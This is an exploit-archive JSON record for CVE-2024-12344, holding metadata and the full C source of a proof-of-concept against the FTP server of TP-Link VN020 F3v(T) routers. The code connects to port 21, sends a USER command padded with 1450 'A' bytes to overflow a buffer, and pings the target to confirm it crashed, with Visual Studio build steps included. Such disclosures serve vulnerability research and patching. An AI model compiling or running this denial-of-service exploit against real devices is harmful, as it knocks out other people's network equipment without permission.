{"exploit":{"id":"EDB-52249","name":"TP-Link VN020 F3v(T) TT_V6.2.1021 - Buffer Overflow Memory Corruption","description":"TP-Link VN020 F3v(T) TT_V6.2.1021 - Buffer Overflow Memory Corruption","cves":["CVE-2024-12344"],"author":"Mohamed Maatallah","published":"2025-04-17","platform":"multiple","type":"remote","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52249","path":"exploits/multiple/remote/52249.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52249.c","vulnerabilities":[{"id":"CVE-2024-12344","state":"PUBLISHED","title":"TP-Link VN020 F3v(T) FTP USER Command memory corruption","titleSource":"CVE Program","description":"A vulnerability, which was classified as critical, was found in TP-Link VN020 F3v(T) TT_V6.2.1021. This affects an unknown part of the component FTP USER Command Handler. The manipulation leads to memory corruption. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2024-12344","cvss":{"version":"4.0","baseScore":5.3,"severity":"medium","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","source":"VulDB","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2024-12344"},"updatedAt":"2024-12-09T15:48:32.305Z","retrievedAt":"2026-11-26T17:37:45.449Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52249.png?v=2","url":"https://exploitbin.com/exploits/EDB-52249","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52249/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52249/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"* Exploit Title: TP-Link VN020 F3v(T) TT_V6.2.1021 - Buffer Overflow Memory Corruption\n* Date: 11/24/2024\n* Exploit Author: Mohamed Maatallah\n* Vendor Homepage: https://www.tp-link.com\n* Version: TT_V6.2.1021 (VN020-F3v(T))\n* Tested on: VN020-F3v(T) Router (Hardware Version 1.0)\n* CVE: CVE-2024-12344\n* Category: Remote\n\n* Description:\n* A critical buffer overflow and memory corruption vulnerability was discovered in TP-Link VN020-F3v(T) router's FTP server implementation. The vulnerability stems from improper input validation of the USER command, allowing unauthenticated attackers to trigger various failure modes through payload size manipulation:\n\n* 1. 1100 bytes - Delayed crash (5-10 seconds)\n* 2. 1450 bytes - Immediate crash\n* 3. >1450 bytes - Undefined behavior/state corruption\n\n* Proof of Concept: (attached full c file)\n * Compilation Instructions (Visual Studio):\n * ---------------------------------------\n * 1. Open Visual Studio\n * 2. Create a new C Console Application\n * 3. Add these additional dependencies to project settings:\n *    - ws2_32.lib\n *    - iphlpapi.lib\n * 4. Ensure Windows SDK is installed\n * 5. Set Platform Toolset to latest v143 or v142\n * 6. Compile in Release or Debug mode\n *\n * Disclaimer:\n * ----------\n * This proof of concept is for educational and research purposes only.\n * Unauthorized testing without explicit permission is unethical and illegal.\n */\n\n#define _CRT_SECURE_NO_WARNINGS\n#include <stdio.h>\n#include <stdlib.h>\n#include <winsock2.h>\n#include <ws2tcpip.h>\n#include <stdint.h>\n#include <windows.h>\n#include <iphlpapi.h>\n#include <icmpapi.h>\n\n#pragma comment(lib, \"ws2_32.lib\")\n#pragma comment(lib, \"iphlpapi.lib\")\n\n // Target configuration - MODIFY BEFORE TESTING\n#define DEST_IP \"192.168.1.1\"     // IP of target FTP server\n#define DEST_PORT 21               // Standard FTP port\n#define PING_TIMEOUT_MS 1000       // Network timeout\n#define MAX_PING_RETRIES 5         // Connectivity check attempts\n\n// 1450: Instant\n// 1100: Delayed\n#define CRASH_STRING_LENGTH 1450   // Exact number of 'A's triggering instantcrash\n#define TOTAL_PAYLOAD_LENGTH (CRASH_STRING_LENGTH + 5 + 2)  // USER + As + \\r\\n\n\ntypedef struct {\n    HANDLE icmp_handle;\n    IPAddr target_addr;\n    LPVOID reply_buffer;\n    DWORD reply_size;\n} ping_context_t;\n\nvoid log_msg(const char* prefix, const char* msg) {\n    SYSTEMTIME st;\n    GetLocalTime(&st);\n    printf(\"[%02d:%02d:%02d] %s %s\\n\", st.wHour, st.wMinute, st.wSecond, prefix, msg);\n}\n\nvoid hexdump(const char* desc, const void* addr, const int len) {\n    int i;\n    unsigned char buff[17];\n    const unsigned char* pc = (const unsigned char*)addr;\n\n    if (desc != NULL)\n        printf(\"%s:\\n\", desc);\n\n    for (i = 0; i < len; i++) {\n        if ((i % 16) == 0) {\n            if (i != 0)\n                printf(\"  %s\\n\", buff);\n            printf(\"  %04x \", i);\n        }\n\n        printf(\" %02x\", pc[i]);\n\n        if ((pc[i] < 0x20) || (pc[i] > 0x7e))\n            buff[i % 16] = '.';\n        else\n            buff[i % 16] = pc[i];\n        buff[(i % 16) + 1] = '\\0';\n    }\n\n    while ((i % 16) != 0) {\n        printf(\"   \");\n        i++;\n    }\n\n    printf(\"  %s\\n\", buff);\n}\n\nBOOL check_connectivity(ping_context_t* ctx) {\n    char send_buf[32] = { 0 };\n    return IcmpSendEcho(ctx->icmp_handle, ctx->target_addr, send_buf, sizeof(send_buf),\n        NULL, ctx->reply_buffer, ctx->reply_size, PING_TIMEOUT_MS) > 0;\n}\n\nchar* generate_exact_crash_payload() {\n    char* payload = (char*)malloc(TOTAL_PAYLOAD_LENGTH + 1);  // +1 for null terminator\n    if (!payload) {\n        log_msg(\"[-]\", \"Failed to allocate payload memory\");\n        return NULL;\n    }\n\n    // Construct the exact payload that causes crash\n    strcpy(payload, \"USER \");                            // 5 bytes\n    memset(payload + 5, 'A', CRASH_STRING_LENGTH);      // 1450 'A's\n    memcpy(payload + 5 + CRASH_STRING_LENGTH, \"\\r\\n\", 2); // 2 bytes\n    payload[TOTAL_PAYLOAD_LENGTH] = '\\0';\n\n    char debug_msg[100];\n    snprintf(debug_msg, sizeof(debug_msg), \"Generated payload of length %d ('A's + 5 byte prefix + 2 byte suffix)\",\n        TOTAL_PAYLOAD_LENGTH);\n    log_msg(\"[*]\", debug_msg);\n\n    return payload;\n}\n\nBOOL send_crash_payload(const char* target_ip, uint16_t target_port) {\n    WSADATA wsa;\n    SOCKET sock = INVALID_SOCKET;\n    struct sockaddr_in server;\n    char server_reply[2048];\n    int recv_size;\n    ping_context_t ping_ctx = { 0 };\n    BOOL success = FALSE;\n\n    // Initialize Winsock\n    if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {\n        log_msg(\"[-]\", \"Winsock initialization failed\");\n        return FALSE;\n    }\n\n    // Setup ICMP for connectivity monitoring\n    ping_ctx.icmp_handle = IcmpCreateFile();\n    ping_ctx.reply_size = sizeof(ICMP_ECHO_REPLY) + 32;\n    ping_ctx.reply_buffer = malloc(ping_ctx.reply_size);\n    inet_pton(AF_INET, target_ip, &ping_ctx.target_addr);\n\n    // Create socket\n    sock = socket(AF_INET, SOCK_STREAM, 0);\n    if (sock == INVALID_SOCKET) {\n        log_msg(\"[-]\", \"Socket creation failed\");\n        goto cleanup;\n    }\n\n    // Setup server address\n    server.sin_family = AF_INET;\n    server.sin_port = htons(target_port);\n    inet_pton(AF_INET, target_ip, &server.sin_addr);\n\n    // Connect to FTP server\n    log_msg(\"[*]\", \"Connecting to target FTP server...\");\n    if (connect(sock, (struct sockaddr*)&server, sizeof(server)) < 0) {\n        log_msg(\"[-]\", \"Connection failed\");\n        goto cleanup;\n    }\n    log_msg(\"[+]\", \"Connected successfully\");\n\n    // Verify initial connectivity\n    if (!check_connectivity(&ping_ctx)) {\n        log_msg(\"[-]\", \"No initial connectivity to target\");\n        goto cleanup;\n    }\n\n    // Receive banner\n    if ((recv_size = recv(sock, server_reply, sizeof(server_reply) - 1, 0)) == SOCKET_ERROR) {\n        log_msg(\"[-]\", \"Failed to receive banner\");\n        goto cleanup;\n    }\n    server_reply[recv_size] = '\\0';\n    log_msg(\"[*]\", server_reply);\n\n    // Generate and send the exact crash payload\n    char* payload = generate_exact_crash_payload();\n    if (!payload) {\n        goto cleanup;\n    }\n\n    log_msg(\"[*]\", \"Sending crash payload...\");\n    hexdump(\"Payload hex dump (first 32 bytes)\", payload, 32);\n\n    if (send(sock, payload, TOTAL_PAYLOAD_LENGTH, 0) < 0) {\n        log_msg(\"[-]\", \"Failed to send payload\");\n        free(payload);\n        goto cleanup;\n    }\n    free(payload);\n    log_msg(\"[+]\", \"Payload sent successfully\");\n\n    // Monitor for crash\n    log_msg(\"[*]\", \"Monitoring target status...\");\n    Sleep(1000);  // Wait a bit for crash to take effect\n\n    int failed_pings = 0;\n    for (int i = 0; i < MAX_PING_RETRIES; i++) {\n        if (!check_connectivity(&ping_ctx)) {\n            failed_pings++;\n            if (failed_pings >= 3) {\n                log_msg(\"[+]\", \"Target crash confirmed!\");\n                success = TRUE;\n                goto cleanup;\n            }\n        }\n        Sleep(500);\n    }\n\n    log_msg(\"[-]\", \"Target appears to still be responsive\");\n\ncleanup:\n    if (sock != INVALID_SOCKET) {\n        closesocket(sock);\n    }\n    if (ping_ctx.icmp_handle != INVALID_HANDLE_VALUE) {\n        IcmpCloseHandle(ping_ctx.icmp_handle);\n    }\n    if (ping_ctx.reply_buffer) {\n        free(ping_ctx.reply_buffer);\n    }\n    WSACleanup();\n    return success;\n}\n\nint main(void) {\n    printf(\"\\nTP-Link VN020 FTP Memory Corruption PoC\\n\");\n    printf(\"---------------------------------------\\n\");\n    printf(\"Target: %s:%d\\n\", DEST_IP, DEST_PORT);\n    if (send_crash_payload(DEST_IP, DEST_PORT)) {\n        printf(\"\\nExploit successful - target crashed\\n\");\n    }\n    else {\n        printf(\"\\nExploit failed - target may be patched\\n\");\n    }\n\n    return 0;\n}","sha256":"3e3ed4865f7ff46890b972438572f134a82d1065a5dd1e1376479fb7c1bc3327","bytes":7655,"fetchedAt":"2026-11-26T23:09:34.569Z","encoding":"utf-8 (display only; download retains original bytes)"}